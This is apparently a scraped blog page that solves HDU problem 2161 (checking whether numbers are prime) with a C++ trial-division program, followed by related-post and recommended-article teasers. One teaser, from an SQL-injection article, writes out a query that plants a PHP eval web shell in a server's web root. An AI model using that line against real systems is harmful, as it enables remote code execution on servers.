http://acm.hdu.edu.cn/showproblem.php?pid=2161

Problem Description
Write a program to read in a list of integers and determine whether or not each number is prime. A number, n, is prime if its only divisors are 1 and n. For this problem, the numbers 1 and 2 are not considered primes. 
 
Input
Each input line contains a single integer. The list of integers is terminated with a number<= 0. You may assume that the input contains at most 250 numbers and each number is less than or equal to 16000.
 
Output
The output should consists of one line for every number, where each line first lists the problem number, followed by a colon and space, followed by "yes" or "no". 
 
Sample Input
1
2
3
4
5
17
0
 
Sample Output
1: no
2: no
3: yes
4: no
5: yes
6: yes
 
时间复杂度:$O(\sqrt{N})$
代码:

#include <bits/stdc++.h>
using namespace std; int N; int prime(int x) {
for(int i = 2; i * i <= x; i ++) {
if(x % i == 0)
return 0;
}
return 1;
} int main() {
int Case = 1;
while(~scanf("%d", &N)) {
if( N <= 0) break;
printf("%d: ", Case ++);
if(N == 1 || N == 2)
printf("no\n"); else {
if(prime(N))
printf("yes\n");
else
printf("no\n");
}
}
return 0;
}

  

HDU 2161 Primes的更多相关文章

  1. HDOJ(HDU) 2161 Primes(素数打表)

    Problem Description Write a program to read in a list of integers and determine whether or not each ...

  2. (step7.2.2)hdu 2161(Primes——判断是否是素数)

    题目大意:输入一个n,判断您是否是素数.. 解题思路:简单数论 代码如下: /* * 2161_1.cpp * * Created on: 2013年8月31日 * Author: Administr ...

  3. HDU 2161 Primes (素数筛选法)

    题意:输入一个数判断是不是素数,并规定2不是素数. 析:一看就很简单吧,用素数筛选法,注意的是结束条件是n<0,一开始被坑了... 不说了,直接上代码: #include <iostrea ...

  4. hdu 5104 Primes Problem

    题目连接 http://acm.hdu.edu.cn/showproblem.php?pid=5104 Primes Problem Description Given a number n, ple ...

  5. hdu 5104 Primes Problem(prime 将三重循环化两重)

    //宁用大量的二维不用量小的三维 #include <iostream> #include<cstdio> #include<cstring> using name ...

  6. [kuangbin带你飞]专题十四 数论基础

            ID Origin Title   111 / 423 Problem A LightOJ 1370 Bi-shoe and Phi-shoe   21 / 74 Problem B ...

  7. KUANGBIN带你飞

    KUANGBIN带你飞 全专题整理 https://www.cnblogs.com/slzk/articles/7402292.html 专题一 简单搜索 POJ 1321 棋盘问题    //201 ...

  8. UVA10200-Prime Time/HDU2161-Primes,例题讲解,牛逼的费马小定理和欧拉函数判素数。

                                                    10200 - Prime Time 此题极坑(本菜太弱),鉴定完毕,9遍过. 题意:很简单的求一个区间 ...

  9. [kuangbin带你飞]专题1-23题目清单总结

    [kuangbin带你飞]专题1-23 专题一 简单搜索 POJ 1321 棋盘问题POJ 2251 Dungeon MasterPOJ 3278 Catch That CowPOJ 3279 Fli ...

随机推荐

  1. 学习/linux/list.h_双链表实现

    linux-3.5/include/linux/list.h 使用只含指针域的双向循环链表进行链表的操作. 下面是我选取部分list.h中代码: #ifndef _LINUX_LIST_H #defi ...

  2. 『Python基础-3』变量、定义变量、变量类型、关键字Python基础-3』变量、定义变量、变量类型、关键字

    『Python基础-3』变量.定义变量.变量类型.关键字 目录: 1.Python变量.变量的命名 2.变量的类型(Python数据类型) 3.Python关键字 1. Python 变量.变量的命名 ...

  3. Django学习之mysql应用基础

    使用pip 安装mysql pip install mysql 使用命令行打开数据库且选择使用已有的数据库 显示已有数据库show databases; 选择已有数据库 use s23; 显示s23数 ...

  4. centos配置NTP服务器

    时间服务器: NTP(Network Time Protocol,网络时间协议)是用来使用网络中的各个计算机时间同步的一种协议,NTP服务器就是利用NTP协议提供时间同步服务的. 一.环境准备: 1. ...

  5. Ubuntu 18启动失败 Started Hold until boot procss finishes up

    原因: 启动ubuntu 的时候,磁盘空间不够了. 解决方法: 启动Ubuntu 的时候,选择Advanced options for Ubuntu 然后选择recovery 之后选择clean 清理 ...

  6. 二 Hive分桶

    二.Hive分桶 1.创建分桶表 create table t_buck (id string ,name string) clustered by (id) //根据id分桶 sorted by ( ...

  7. 问题:Visual Studio 2017 无法推送到github:The requested URL returned error: 403

    问题: Visual Studio 2017 无法推送到github:The requested URL returned error: 403 原因分析: Visual Studio 2017记录的 ...

  8. mac使用brew或者tomcat启动jenkins后配置文件路径

    在mac下使用brew命令或tomcat安装jenkins,启动后要输入密码,密码不知道,又找不到config.xml,找了半天原来 config.xml在/Users/qiaojiafei/.jen ...

  9. sql注入--高权限,load_file读写文件

    select '<?php eval($_POST[123]) ?>' into outfile '/var/www/html/1.php'; 1.MYSQL新特性限制文件写入及替代方法 ...

  10. uiautomatorviewer定位App元素

    这个工具是Android SDK自带的, 日常的工作中经常要使用的, 在C:\Android\sdk\tools\bin目录下: 双击之, 请注意, 我一般选择第一个机器人小图标Device Scre ...